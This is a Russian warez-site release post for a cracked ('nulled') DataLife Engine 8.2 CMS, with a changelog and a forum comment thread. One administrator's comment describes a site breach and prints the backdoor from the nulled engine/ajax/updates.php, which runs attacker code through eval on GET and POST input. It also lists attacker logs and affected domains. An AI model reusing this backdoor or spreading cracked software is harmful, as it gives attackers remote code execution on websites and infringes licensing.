DataLife Engine v.8.2 Final Release

DataLife Engine v.8.2 Final ReleaseДорогие друзья,


Завершен этап разработки версии 8.2, мы предлагаем вам ознакомится с информацией о том что ждет вас с выходом новой версии. В данном релизе вас ожидают функции типографской обработки текста, новый шаблон, возможность подключения сторонних модулей, улучшенная производительность и многое другое, но обо всем подробнее ...

Ура товарищи! Качаем!
Были подготовлены и реализованы следующие изменения:
До обработки:
(С) 2004-2009г., ООО Фирма "SoftNews Media Group, Inc". Все права защищены.

После обработки:
© 2004-2009 г., ООО Фирма «SoftNews Media Group, Inc». Все права защищены.

1. Добавлена функция типографской обработки текста, данная функция позволяет автоматически подготовить русский текст к веб-изданию. Например кавычки будут заменены на елочки, выставлены правильные апострофы в именах, использование длинных тире вместо дефисов, перед предлогами будут вставлены неразрывные пробелы, обработка вложенных кавычек и многое другое. Этот инструмент не является полноценной заменой ручного труда верстальщика, но он может сократить этот труд до 90%, что весьма удобно.

2. Расширены возможности тега {include file="mytemplate.tpl"}. Данный тег позволяет теперь не только подключать файлы шаблона, но и подключать в шаблоне сторонние модули для DLE, а также сторонние скрипты не имеющие отношения к DLE. Например для подключения стороннего модуля в шаблоне вы можете использовать тег {include file="engine/modules/mymod.php"} результатом работы тега будет выполнение скрипта mymod.php, находящегося в папке engine/modules/. Также вы можете запускать скрипты с параметрами, например {include file="engine/modules/mymod.php?param=value1&test=value2"}, тем самым вы можете создавать модули которые могут управляться непосредственно из шаблона и в зависимости от разных параметров, выводить разную информацию. Использование данного метода подключения модов, позволяет при обновлении скрипта в будущем на новую версию не переустанавливать модули. Они будут автоматически сами подключены из шаблона. Использование данного тега возможно во всех файлах шаблонов. В целях общей безопасности скрипта, единственным ограничением по подключению файлов является запрет на нахождение файле в папке, доступной для записи. Например подключаемый мод, не может находится в папке шаблонов например. Более подробно о данном подключении можно прочитать в документации по скрипту.

3. Добавлена возможность интегрировать сторонние модули в панель управления скриптом, без внесения каких либо изменений в файлы скрипта. Для этого была добавлена дополнительная таблица в базу данных, для хранения информации о стороннем модуле. Более подробно о формате таблице вы сможете прочитать в документации по скрипту.

4. Добавлена автоматическая поддержка безопасного режима PHP (SafeMode), при загрузке изображений на сервере. Благодаря этой поддержки папки больше не нужно создавать вручную, используя FTP менеджер.
DataLife Engine v.8.2 Final Release


5. Добавлена возможность быстрого редактирования профиля пользователя при редактировании его новости в админпанели. Тем самым вы можете удалить или забанить пользователя добавившего новость, не заходя в раздел редактирования пользователей.

6. В панели управления скриптом добавлены функции проверки соответствия вашего сервера минимальным требованиям скрипта. Ранее такая проверка проводилась только во время инсталляции скрипта. Новая возможность позволяет скрипту автоматически диагностировать возможные неполадки после переноса скрипта на другой сервер, когда установка скрипта не производится.

7. При загрузке изображений добавлены функции автоматического контроля возможных ошибок. И в случае возникновения проблем с загрузкой выводится сообщение те только о невозможности загрузки файлов, но и причина по которой произошла проблема. Тем самым в большинстве случаев вы можете самостоятельно устранить проблему, без обращения в тех поддержку.
DataLife Engine v.8.2 Final Release

8. Для тега спойлера добавлены графические индикаторы, отображающие открыт или закрыт скрытый текст. Графические изоборажения находятся в шаблонах сайта, поэтому для каждого шаблона имеется возможность настроить изображения.

9. В шаблоны краткой и полной новости (shortstory.tpl, fullstory.tpl) добавлены следующие теги: [fixed] текст [/fixed] - выводит текст в тегах если данная новость зафиксирована, [not-fixed] текст [/not-fixed] - выводит текст в тегах если данная новость не была зафиксирована. Тем самым благодаря новым тегам, вы можете делать различное оформление новостей на сайте при выводе зафиксированных новостей.

10. В настройки скрипта добавлена возможность включения или отключения затемнения общего фона сайта, при увеличении уменьшенного изображения до оригинального. Для задания фона используется класс CSS .highslide-dimming

DataLife Engine v.8.2 Final Release

11. Добавлен новый режим "Галлерея" при просмотре уменьшенных изображений загруженных на сайте к новости. Данный режим включается в настройках скрипта. При включении данного режима на оригинальном изображении выводится меню навигации, которое позволяет запускать слайдшоу из картинок, показывать следующее или предыдущее изображение и т.д.

DataLife Engine v.8.2 Final Release

12. Добавлена возможность задания аннотаций и описаний к уменьшенным изображениям. При задании для тега thumb собственного описания, при увеличении изображения до оригинального, данное описание будет показано в удобном формате под изображением. Собственное описание задается в параметрах тега, например:
[center][thumb=|Сафари парк :)))]http://dle-news.ru/uploads/posts/2009-07/1247204650_img_3704.jpg[/thumb][/center]

DataLife Engine v.8.2 Final Release

13. Наверное самое ожидаемая возможность. Добавлена возможность задания для уменьшенной копии загружаемого изображения не только максимальный размер одной из сторон при превышении которой будет создаваться уменьшенная копия, но и непосредственно размеры сторон (ширину и высоту) самого уменьшенного изображения. При этом пропорции изображения будут сохранены, а само изображения обрезано под указанные размеры. Более того, в случае если какая либо из сторон оригинального изображения меньше указанных размеров, то изображение будет наоборот пропорционально увеличено до указанного размера. Примеры работы данной функции вы можете увидеть выше, опубликованы три картинки разных размеров и ориентации, при этом они были автоматически уменьшены до прямоугольных размеров 200x200. Данное нововведение, совместно с двумя указанными выше, позволяет организовывать в ваших новостях красивые фотогалереи из загруженных изображений.

DataLife Engine v.8.2 Final Release

14. При входе в админпанель скрипта добавлена возможность выбора используемого языка. Тем самым пользователи пользующиеся административной панелью могут сами выбирать на каком языке будут ее использовать.
DataLife Engine v.8.2 Final Release


15. Добавлена возможность назначать категориям собственный метатег Title.

16. Добавлена возможность использования при массовой рассылке сообщений тега {%user%} в тексте сообщения, который будет заменен на логин получателя в сообщении, или на полное имя, если пользователь его указывал в своем профиле. Если в настройках скрипта включено использование поля BCC для рассылки, то тег будет заменен на слово: Пользователь
DataLife Engine v.8.2 Final Release


17. В фильтр слов добавлена возможность назначения области поиска для слова. Вы можете назначить чтобы замена для слова производилась везде, либо только в новостях, либо только в комментариях.

18. Шаблонные теги [aviable=...] текст [/aviable] и [not-aviable=...] текст [/not-aviable] получили глобальную поддержку во всех файлах шаблонов, а не только для основного main.tpl и шаблонов новостей. Теперь вы можете использовать данные теги в абсолютно любых файлах шаблонов.

19. Форматирование и вывод комментариев выделен в отдельный универсальный класс. Данное нововведение касается в первую очередь разработчиков сторонних модулей. Благодаря новому классу можно организовывать комментарии не только для новостей, но и для собственных модулей. Также при добавлении новых тегов в комментарии, достаточно внести изменения в один файл, а не в три как было ранее.

20. Внесены изменения в MySQL запросы скрипта, в результате чего была снижена нагрузка на базу данных при большом объеме базы данных.

21. При просмотре мобильной версии сайта отключен вывод рекламных материалов назначенных для показа между краткими новостями.

22. Добавлено автоматическое скрытие ссылок "отправить E-Mail" и "написать ПС" при просмотре профиля пользователя, если для посетителя в настройках групп данные возможности были запрещены.

23. В модуль восстановления забытого пароля были добавлены новые механизмы безопасности. А именно был добавлен новый алгоритм генерации контрольного ключа по алгоритму SHA1, а также был добавлен контроль проверки количества попыток генерации нового пароля по контрольному ключу, допускается только одна попытка генерации нового пароля, после чего контрольный ключ становится недействительным. Тем самым модуль восстановления пароля получил 100% устойчивость к восстановлению пароля методом перебора.

24. В модуле поиска добавлена подсветка искомого текста в дополнительных полях новости.
DataLife Engine v.8.2 Final Release


25. Добавлена возможность назначать тип текста при публикации статических страниц, в зависимости от выбранного типа будут применяться различные параметры для форматирования текста, также вы можете выбрать тип текста без фильтрации и изменений, который позволяет напрямую публиковать в тексте статической страницы javascript код и любой HTML код, а также редактировать текст без конвертации в BB теги. Возможность публиковать страницы без фильтрации имеют только пользователи, находящиеся в администраторской группе.
DataLife Engine v.8.2 Final Release


26. Добавлена возможность добавлять / редактировать дату создания статической страницы.

27. Добавлены новые возможности для поиска и сортировки статических страниц в админпанели скрипта.


28. Добавлена постраничная навигация для статических страниц. Тем самым существенно облегчается процесс поиска и редактирования.


29. Добавлена возможность массового управления статическими страницами в админпанели в разделе редактирования страниц. Вы можете выбрать несколько страниц одновременно и установить для них текущую дату или очистить количество просмотров или полностью удалить выбранные страницы.

30. В шаблоны для статических страниц добавлен новый тег {date} - который выводит дату создания страницы в формате установленном в настройках скрипта, а также добавлен новый тег {date=формат даты}, который выводит дату в заданном в теге формате. Тем самым вы можете выводить не только дату целиком но и ее отдельные части. Формат даты задается задается согласно формату принятому в PHP. Например тег {date=d} выведет день месяца публикации новости или комментария, а тег {date=F} выведет название месяца, а тег {date=d-m-Y, H:i} выведет полную дату и время.


31. В настройки скрипта добавлена возможность автоматического закрытия новости для комментирования по истечении определенного количества дней, после ее публикации. Тем самым с использованием данной настройки вы можете избежать флуда на вашем сайте в старых и неактуальных новостях.

32. Внесены изменения в всплывающее меню редактирования новости на сайте. В случае если пользователю разрешить редактирование собственных комментариев, но при этом не разрешить доступ к админпанели, то для пользователя будет автоматически скрываться пункт "Полное редактирование", тем самым вы можете давать пользователям права для быстрой и незначительной правки новости, без допуска в админпанель.

33. Изменена система единой авторизации на домене второго уровня его поддоменах, теперь логинится на сайте и разлогиниваться можно на любом поддомене или домене второго уровня, необязательно при этом проводить авторизацию или разлогинивание только на домене второго уровня как ранее. Действия по авторизации на любом поддомене будут автоматически распознаваться и на других поддоменах, а также на домене второго уровня.

34. Проведен небольшой рестайлинг административной панели скрипта, а также панель управления скриптом была оптимизирована для корректного отображения в новой версии браузера Safari 4.

35. В дистрибутив добавлен абсолютно новый стандартный шаблон. Данный шаблон является полностью валидным и соответствующим стандарту XHTML 1.0 и демонстрирует не только возможности скрипта, но и возможности создания валидной верстки. Шаблон относится к разряду гибридов из резиновой и фиксированной верстки и оптимизирован для просмотра как на низких разрешениях монитора, так и на высоких.

36. Добавлены новые функции в DLE API, а также расширены возможности ранее существовавших функций. Подробнее о новых функциях вы сможете прочитать в документации по скрипту.

37. Обновлен до актуальной версии WYSIWYG редактор. Просмотреть изменения в редакторе можно по адресу http://tinymce.moxiecode.com/js/tinymce/changelog.txt. А также вес редактора был сжат на 40%, тем существенно увеличена скорость его загрузки в браузер.

38. Исправлена проблема, при которой в случае сбоя массовой рассылки, на странице рассылки не сохранялось количество успешно отправленных сообщений и писем.

39. Исправлена проблема, при которой при использовании BB тега [flash] не выставлялись размеры по высоте для браузера Firefox.

40. Исправлена проблема при которой во время просмотра версии для печати удалялось содержимое тегов [pаge=...] текст [/pаge]

41. Исправлена проблема, при которой не загружались файлы и изображения при использовании массовой загрузки, если новость редактируется другим пользователем и он хотел добавить в новость другие файлы или изображения.

42. Исправлены все обнаруженные и заявленные ранее небольшие ошибки в скрипте.
datalife_engine_v.8.2_nulled_by_m.i.d-team.rar [2,59 Mb] (cкачиваний: 1989)

laughing
Другие новости по теме:

Категория: Релизы ----- Просмотров: 25027 ----- Комментариев: 134

Вернуться

  • xren009

  • 24 августа 2009 19:48
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
У меня с логином всё в порядке, заходит, выходит...
Только вот какая версия нулла лучше разобраться пока не могу?:)
  • dect81

  • 25 августа 2009 21:51
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
У нулла от ZloY логин пашет(входит и выходит) но есть другой баг - при апдейте, все шрифты сбрасывает на один самый маленький размер. Тоесть тег html\css "size" not recognizable sad
Сейчас попробую триалку с генератором ключей, отпишусь что да как
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
люди кто мне сможет установить движок!!!!
ток не дорого так как денег нету!!

370144803
пишите в аську
  • venomax

  • 28 августа 2009 19:49
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Чего то я не понимаю, при загрузке картинки на сервер с другого сервера, пишет "Невозможно загрузить файл на сервер" , что за? права везде стоят какие нужно.
  • dect81

  • 29 августа 2009 02:16
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Darkboy,
бесплатный и довольно неплохой хостинг есть- их аж 4, и 2 из них домены дарят))
а кто о нихне знает, я не виноват ^_^
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
сори за оффтоп, помогите! у меня почемуто не работаю коментарии, нажимаешь добавить комент, выкидывает на страницу поиска DLE 8.0, напрвте ссылкой если где такое обсуждалось, или напишите в личку, еще раз извиняйте за оффтоп
  • sneiks

  • 30 августа 2009 17:29
  • Группа: User
  • ICQ: --
  • Регистрация: 23.08.2008
  • Комментариев: 52
  • Публикаций: 0
^
RealArtem,


  • zen

  • 31 августа 2009 14:40
  • Группа: User
  • ICQ: --
  • Регистрация: 20.03.2008
  • Комментариев: 22
  • Публикаций: 0
^
какой форум можно поставить под 8.2
что бы нормально работал...????
  • kuguk

  • 31 августа 2009 23:08
  • Группа: User
  • ICQ: --
  • Регистрация: 22.03.2009
  • Комментариев: 27
  • Публикаций: 0
^
dect81, забыл сказать, что они рекламный блок свой вешают
  • North

  • 8 сентября 2009 13:41
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
При добавлении комментария (даже под админом) текст не выводится, появляется только смайл wink Это только у меня? В стандартном шаблоне всё Ок.. Где что нужно посмотреть чтоб исправить?
  • Whisper

  • 11 сентября 2009 01:08
  • Группа: User
  • ICQ: 208799127
  • Регистрация: 17.05.2008
  • Комментариев: 40
  • Публикаций: 0
^
почитал тут коменты аж страшно качать... what
у меня сейчас 7.5 и нормально работает не знаю есть ли сенс переходить на 8.2 непонятно какой глюкавости ...

--------------------
  • daimond

  • 12 сентября 2009 12:17
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Цитата: Whisper
на 8.2 непонятно какой глюкавости ...

Ды а что тут можеть быть глюковатого? Купил лицензию и живи себе спокойно)
  • Qiker

  • 15 сентября 2009 10:32
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
АААААААААА помогите как при помогите тега "aviable" скрыть "кое что" в отдельной категории??
  • Flammen

  • 17 сентября 2009 09:59
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Очень понравилась эта cms, один вопрос, людям знающим, реально ли переписать код и сделать его валидным winked
  • DimonM

  • 25 сентября 2009 20:40
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
скажите плиз
как решить проблему с кнопкой выхода?
  • sir95

  • 27 сентября 2009 17:05
  • Группа: User
  • ICQ: --
  • Регистрация: 4.08.2009
  • Комментариев: 72
  • Публикаций: 4
^
Скажу свое мнение!
Движок требует доработки много ошыбок. Иногда не хочет читать MySQL базы.
При добавление категории ошыбка.

--------------------
  • Cartman

  • 30 сентября 2009 01:26
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
У меня на highslide картинки не показывает. Как исправить?
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Вот подскажите мне пожалуйста , я не могу найти модуль online для версии движка 8.2 ! Он вообще существует или нет , а то я сколько не ищу нигде нету . Дайте ссылку .
  • doctorm

  • 3 октября 2009 21:16
  • Группа: User
  • ICQ: --
  • Регистрация: 13.09.2009
  • Комментариев: 8
  • Публикаций: 0
^
Движок от автора {censored} при добаврение коментария выбивает Hacking attempt! Хотел вставить древовидное меню, неработает, хотя по инструкции должно, на 8.0 от Мида работает, пробывал изминить рейтинг , модуль вставил выбивает Hacking attempt! Базу невсегда шлушать хочет. Надо еще доделать движок, уж слишком много ошибок. Может у ковото есть нормальный движок 8.2 или 8.0 дайте сылочку . Сайт на котором можна посмотреть ошыбки _http://ask4.cherkassy.net Может ктото поможет. Еще может ктото встречал чтото подобное чтоб можна скрытый текст только для определенных IP показывал, а для остальных только чтобы купить можна. Если у когото есть, дайте знать

by ZloY datalife-engine_8.2_nulled.rar движок от это автора
  • neoks

  • 3 октября 2009 23:37
  • Группа: User
  • ICQ: --
  • Регистрация: 20.07.2009
  • Комментариев: 556
  • Публикаций: 121
^
doctorm,
Все дело не в движке а в тебе и шаблоне fellow

скажи вот нафига ты написал в шаблоне точку ? zeos.original напиши просто zeos и все твои проблемы с хакинг алерт исчезнут fellow

--------------------
  • doctorm

  • 4 октября 2009 00:08
  • Группа: User
  • ICQ: --
  • Регистрация: 13.09.2009
  • Комментариев: 8
  • Публикаций: 0
^
neoks,
Спасибо. Помогло.

Моя ошыбка

У автора релиза прошу прошение, недосмотрел
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Только у меня нету проблем? bully
Вообще все работает, кроме спойлера, там картинка не меняется=)
  • Группа: User
  • ICQ: 550700110
  • Регистрация: 3.09.2009
  • Комментариев: 28
  • Публикаций: 0
^
почему выкидывает из под логина?, решил проверить, установил все по новой, закрываю браузер, снова его запускаю, и надо снова авторизироватся... Что за херня
  • Sanek89

  • 17 октября 2009 11:31
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Что за бэкдор в нулле, про который пишут на нуледе _http://www.nulled.ws/showthread.php?t=151453 , как его исправить???
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
ппц, а я то думаю, откуда на сайте левые ссылки появились am
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Сцылкам капец
  • Группа: User
  • ICQ: --
  • Регистрация: 26.09.2009
  • Комментариев: 23
  • Публикаций: 4
^
Двиг дырявый сломали сайт и хостинг через него

--------------------
  • kenix1

  • 19 октября 2009 16:27
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
а де качать
  • Nicker

  • 21 октября 2009 10:27
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Не могу ссылку найти(((
  • zzk77

  • 21 октября 2009 11:43
  • Группа: User
  • ICQ: --
  • Регистрация: 2.08.2009
  • Комментариев: 21
  • Публикаций: 0
^
adminmedia,где дырка?
  • Nicker

  • 21 октября 2009 22:41
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Дайте ссылку)))
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Мой профиль
Мои закладки
Статистика
Добавить новость
Обзор непрочитанного

не работают разделы меню профиля
он их не видит или не находит

Включить ЧПУ:
Eсли 'Да', то ссылки на сайте будут форсироваться в виде псевдо URL, которые улучшают визуальное восприятие ссылки. Например http://site.ru/имя страницы.html
angry
Этот раздел только на нет работает что делать?
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
a ssilka gde?
  • Группа: User
  • ICQ: --
  • Регистрация: 26.09.2009
  • Комментариев: 23
  • Публикаций: 4
^
Я являюсь администратором сайта на DLE движке (нуленом).
Сайт был обновлен до версии 8.2
13 октября наш сайт был взломан человеком из Украины, город Черкассы. Был заменен файл index.php, удален файл .htaccess
Права на файлы столяи такие, что пользователь от которого apache запускался мог редактировать их.
Я провел защитные мероприятия, проставил права, запретил доступ и выключил php engine везде где это было возможно. IP атакующего я идентифицировал, но решил выждать следующей атаки чтобы найти дыру через которую он взломал сайт.
15 октября атака повторилась, но он ничего не смог сделать, т.к. были выставлены корректные права, файлы изменить было не возможно, шелл залить тоже некуда. Видимо из безысходности он очистил конфигурационный файл.
Я провел анализ атаки, и обнаружил что она произошла через файл engine/ajax/updates.php
В этом файле был бэкдор. eval() через $_POST
Код бэкдора
PHP код:
if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=&q
uot;.$_REQUEST['versionid']."&key=".$config['key']
);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body></
HTML>
HTML;
if($_POST['text']!=''){eval(stripcslashes($_POST['text&
#039;]));
}}
Атака была произведена с ip 78.137.24.122

Код:
78.137.24.122 - - [15/Oct/2009:18:17:07 +0300] "GET /engine/ajax/updates.php?wert=123 HTTP/1.1" 200 186 "http://cmska-kasper.co.cc/google/wiev_log.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3"
78.137.24.122 - - [15/Oct/2009:18:32:13 +0300] "POST /engine/ajax/updates.php?wert=123 HTTP/1.
Код:
% Information related to '78.137.0.0 - 78.137.31.255'
inetnum: 78.137.0.0 - 78.137.31.255
netname: MCLAUT
descr: For broadband users
country: UA
admin-c: MCL8-RIPE
tech-c: MCL8-RIPE
status: ASSIGNED PA
mnt-by: MCLAUT-ISP-MNT
source: RIPE # Filtered
person: Vitaly Laut
address: Cherkassy, Ukraine
address: Dashkevicha, str. 39
phone: + 380 472 36-06-53
fax-no: + 380 472 36-16-87
e-mail: hostmaster@2upost.com
nic-hdl: MCL8-RIPE
mnt-by: MCLAUT-ISP-MNT
source: RIPE # Filtered
% Information related to '78.137.0.0/19AS25133'
route: 78.137.0.0/19
descr: Customers networks
origin: AS25133
mnt-by: MCLAUT-ISP-MNT
source: RIPE # Filtered
Этот человек видимо не отличается выдающимися умственными способностями, и в логах моего вэб сервера по рефереру спалил список сайтов с бэкдорами.
Тут ресурсы, в которых есть этот бэкдор http://cmska-kasper.co.cc/google/wiev_log.php

Код:
pulya.net
easy-warez.net
svew.net
soft-best.net
get-file.net
soft.or.kz
warezua.ru
eto.in.ua
xalyawa.ru
softmedia.org.ru
toosoft.ru
inetserf.com.ua
zagruzim.com
1script.info
portalchik.com
portablenews.info
goldfiles.net
svwarez.org.ua
nabiz.in.ua
greet.su
oom10.if.ua
danger-soft.ru
e-prodigy.ru
palim.info
dowmedals.warezona.ru
warezona.ru
viagrik.com
warez-box.ru
pepeh.org.ua
vipzone.ws
xemera.ru
marketfiles.ru
maxshot.ru
34music.ru
lu4ok.ru
novostishka.ru
fallengods.org.ua
onlineobzor.net
24film.info
yourfiles.com.ua
help-wow.ru
maskishou.pp.ru
xxx-warez.ru
spider13.net
bombila.net
kefa.kz
veteroktur.ru
noznet.ru
svwarez.com.ua
12x21.info
warezzzportal.ru
dearfriends.ru
rity.ru
shevron.biz
softscool.ru
softzona.net.ua
veselyha.org.ua
crossfile.ru
nk-time.com
uanovosti.info
seo-max.infoЕсли вы нашли себя в списке - срочно защищайтесь.
Движек был скачан с https://mastermind.pp.ua/datalife-engine ссылка на дистрибутив https://mastermind.pp.ua/datalife-engine/relises/5656-datali...l-release.html
Поэтому предупреждаю всех владельцев сайтов, кто скачал DLE с этого ресурса - вы очень рискуете своим сайтом. Его могут взломать также как и мой.

качайте движок тут http://www.mid-team.ws/

--------------------
  • lomapl

  • 25 октября 2009 16:23
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
что делать теперь?)
  • Группа: User
  • ICQ: --
  • Регистрация: 26.09.2009
  • Комментариев: 23
  • Публикаций: 4
^
lomapl,
качайте движок тут http://www.mid-team.ws/

--------------------
  • grechuk

  • 28 октября 2009 17:44
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Где ссылко на скачивание ?)
adminmedia,спасибо smile
  • T0Rjke

  • 30 октября 2009 08:33
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Дайте ссылку на скачку
  • Mateush

  • 30 октября 2009 13:15
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
У меня такая проблема в админ панель.>>>>>>> другие разделы.>>>>>>>дполнительные поля новостей

там быбивает над странице ошибку " method="post" name="xfieldsform">

фото : https://mastermind.pp.ua/datalife-engine/uploads/posts/2009-10/1256901119_bezymyannyj.png

а если нажать на кнопку (добавить поле ) то вовсе пишет
Access forbidden!

You don't have permission to access the requested object. It is either read-protected or not readable by the server.

If you think this is a server error, please contact the webmaster.
Error 403
10.55.0.59
30.10.2009 13:04:31
Apache/2.2.12 (Win32) DAV/2 mod_ssl/2.2.12 OpenSSL/0.9.8k mod_autoindex_color PHP/5.3.0 mod_perl/2.0.4 Perl/v5.10.0

фото: https://mastermind.pp.ua/datalife-engine/uploads/posts/2009-10/1256901266_gdfhfghfgfg.png
  • bresti

  • 30 октября 2009 17:24
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
where is the download lik
  • d3p

  • 5 ноября 2009 10:02
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Почему нету скачать у меня?

я не вижу ссылки
  • kenix1

  • 5 ноября 2009 10:05
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
а де тут скачать
  • MSIP35

  • 6 ноября 2009 16:42
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
Хоть бы ссылку выложили бы для скачивания! am
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
kak skachat?
  • MaD

  • 8 ноября 2009 20:38
  • Группа: User
  • ICQ: 365275250
  • Регистрация: 12.06.2008
  • Комментариев: 71
  • Публикаций: 9
^
Не качайте , Зл0й там 3 ссылки сделал , потом сайт ваш сломает !!! am

--------------------
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
круто )))
  • nucliar

  • 9 ноября 2009 18:46
  • Группа: User
  • ICQ: --
  • Регистрация: 6.08.2009
  • Комментариев: 10
  • Публикаций: 0
^
Народ, а где ссылка на скачивание ? 0_о
  • Japonec

  • 9 ноября 2009 20:30
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
На целсофте lol
  • vareb

  • 9 ноября 2009 22:32
  • Группа: Гости
  • ICQ: --
  • Регистрация: --
  • Комментариев: 0
  • Публикаций: 0
^
спс
  • Sana82

  • 12 ноября 2009 07:59
  • Группа: User
  • ICQ: --
  • Регистрация: 11.08.2008
  • Комментариев: 6
  • Публикаций: 0
^
попробуйте, ночью нашел в инете DLE 8.3 от МИДА
http://letitbit.net/download/4805.411477171b8ddc3f6aaf4254ac/datalife_engine_v.8
.3_nulled_by_m.i.d_team.rar.html

товарищи, нашел версию 8.3 за нуленую МИДОМ

http://letitbit.net/download/4805.411477171b8ddc3f6aaf4254ac/datalife_engine_v.8
.3_nulled_by_m.i.d_team.rar.html

--------------------
Навигация по страницам

1 2 3